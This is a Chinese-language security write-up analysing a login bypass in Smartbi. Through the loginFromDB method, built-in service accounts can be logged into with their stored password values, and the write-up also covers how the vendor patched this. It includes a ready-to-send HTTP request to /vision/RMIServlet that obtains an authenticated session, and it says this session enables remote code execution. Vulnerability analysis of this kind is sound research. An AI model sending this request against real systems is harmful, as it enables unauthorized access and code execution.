Smartbi 内置用户登陆绕过分析

0x00 背景

Smartbi 在 2023-06-12 日修复了一处安全漏洞:

2023-06-12 修复在某种特定情况下默认用户绕过登录漏洞。

0x01 漏洞分析

这个漏洞在今年早些时候因为一些原因挖到了,核心问题在于 Smartbi 在安装时内置了几个服务账号,通过特殊的接口可以登陆这些账号,从而获取一个登陆态的 session。

Smartbi 安装后默认无法登陆内置的 MySQL 数据库,需要使用一些魔法,登陆后查询 t_user 表可以发现除了 admin 和 public 用户外,还有几个内置账户(public、service、system)也在表中:

image-20230617222313479

如果你尝试直接使用这几个账号在前台登陆,会发现其实是无法登陆的:

image-20230617224447155

这是因为正常登陆走的是 SecurityServiceImpl#loginDB 方法的逻辑:

image-20230617222446846

这里通过 UserBO#isPasswordValidate 来判断表单输入的密码是否和用户真实密码一致:

image-20230617222536650

当用户的密码以0开头时,会先将表单密码进行 MD5 处理后再和数据库里的密码进行对比,因为没有一个字符串在经过 MD5 处理之后是 0e,所以无法通过常规接口登陆。

反编译搜了一圈之后,发现可以利用 UserService#loginFromDB 通过明文密码登陆:

image-20230617222851154

这里从数据库取出用户密码后直接和没有经过任何处理的 password 进行比较,如果两值相等则通过 StateModule#setCurrentUser 给当前 session 设置了登陆态,最终实现登陆绕过。

以 service 用户为例,发出如下请求即可获得包含 service 用户身份的 session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 172.16.170.231:18080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

className=UserService&methodName=loginFromDB&params=["service","0a"]

image-20230617223246611

如果登陆失败,则响应中的 result 为 false:

image-20230617223517213

登陆了之后可以干什么呢?实际上 Smartbi 对于 RMIServlet 远程代码执行的修复方式仅仅是判断用户是否登陆,因此登陆后依然可以使用 RMIServlet 结合 JDBC 实现任意代码执行或任意文件写入。

0x02 补丁分析

下载了 Smartbi 的补丁并对其进行解包后发现 Smartbi 对这个漏洞进行修复的方式简单粗暴,当 url 为 /vision/RMIServlet 并且 className 和 methoName 为 loginFromDB 时直接 Reject。

image-20230617223906681

image-20230617224003710